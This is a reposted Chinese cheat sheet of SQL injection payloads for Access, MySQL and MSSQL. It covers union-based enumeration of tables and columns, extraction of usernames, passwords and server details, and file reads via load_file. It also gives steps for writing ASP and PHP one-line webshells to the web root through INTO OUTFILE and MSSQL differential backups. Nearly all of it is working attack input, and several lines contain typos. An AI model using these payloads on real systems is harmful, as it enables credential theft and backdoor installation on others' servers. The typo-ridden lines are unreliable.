SQL注入整合

来源:互联网 发布:mindmanager for mac 编辑:程序博客网 时间:2024/05/18 04:01

Access数据库注入:

1.Access数据库联合查询方式注入

判断表名:

?id=1 and (select count(*) from admin)>0和?id=1 and exists(select * from admin)>0的任意一种方法

判断列名:

?id=1 and exists(select username from admin)

判断当前表的字段数:

?id=1 order by 11   //不断增加n的值,超出表的最大列数,查询会出错

判断当前表可显示在浏览器上的列:

?id=1 and 1=2 union select 1,2,3,4,5,6,7,8 from admin

?id=1 and 1=2 union select 1,username,password,4,5,6,7,8 from admin

MySQL数据库注入:

1.MySQL数据库联合查询方式注入

判断当前表列的数目:

?id=1 order by 4   //当加入order by语句出错,加#号注释代码里面固有的order by 

?id=1 order by 4 %23

获取当前可显示的列:

?id=1 and 1=2 union select 1,2,3,4,5%23  //页面中出现2和3

注意:这里没有from 任何表,MySQL数据库是可以的

获取数据库敏感信息:

?id=1 and 1=2 union select 1,user(),3,4,5%23

?id=1 and 1=2 union select 1,version(),3,4,5%23

?id=1 and 1=2 union select 1,database(),3,4,5%23

利用concat()函数能够一次性获取这些信息:

?id=1 and 1=2 union select 1,concat(user(),'|||',database(),'|||',version()),3,4,5%23

获取当前数据库所有表的表名:

?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=database() limit 0,1%23

可以批量获取当前数据库的所有表:

?id=1 and 1=2 union select 1,group_concat(table_name order by table_name asc),3,4,5 from information_schema.tables where table_schema=database()%23

获取指定表的所有列名:

?id=1 and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schame.columns where table_name="表名“%23   

//可以使用limit逐条获取,也可以采用group_concat()批量获取

获取指定表指定字段内容:

?id=1 and 1=2 union select 1,concat(username,'|||',password),3,4,5 from 表名 limit 01%23  //利用concat()函数把多个列进行拼接后输出

获取文件内容:

?id=1 and 1=2 union select 1,load_file(''),3,4,5 from 表名 limit 0,1%23

MSSQL数据库注入:

1.MSSQL数据库联合查询方式注入

首先判断当前表的字段数order by n

然后判断当前可显示的类型union select 1,2,3,4,5 from admin

最后带入系统表,系统表对应的字段查询表名,列名,内容

?id=1 and 1=2 union select 1,name,3,4,5 from sysobjects where xtype='U'

二上次木马

Access导出一句话:

1.获取web物理路径

D:\wwwroot\maxcms\

2.导出一句话

create table cmd (a varchar(50))

insert into cmd (a) values('<%eval request("pass")%>')

select * into outfile 'D:\wwwroot\maxcms\1.asa' from cmd

drop table cmd

MySQL导出一句话:

1.获取web物理路径

?username=%27xxxxxxxx

2.导出一句话

?id=1%20and%201=2 union select 1,2,'<?php @eval($_POST[chopper]);?>',4,5,6 into outfile 'D:/wwwroot/1.php'

MSSQL数据库备份获取webshell:

1.完整备份一次

backup database 库名 to disk='c:\a.bak';--

2.创建表插入数据

create table test (cmd vachar(50))

insert into test (cmd) value(<%execute(request("a"))%>;--  //进行十六进制编码

3.进行差异备份

backup database 库名 to disk='目标位置’ withdiffrential,format;--

原创粉丝点击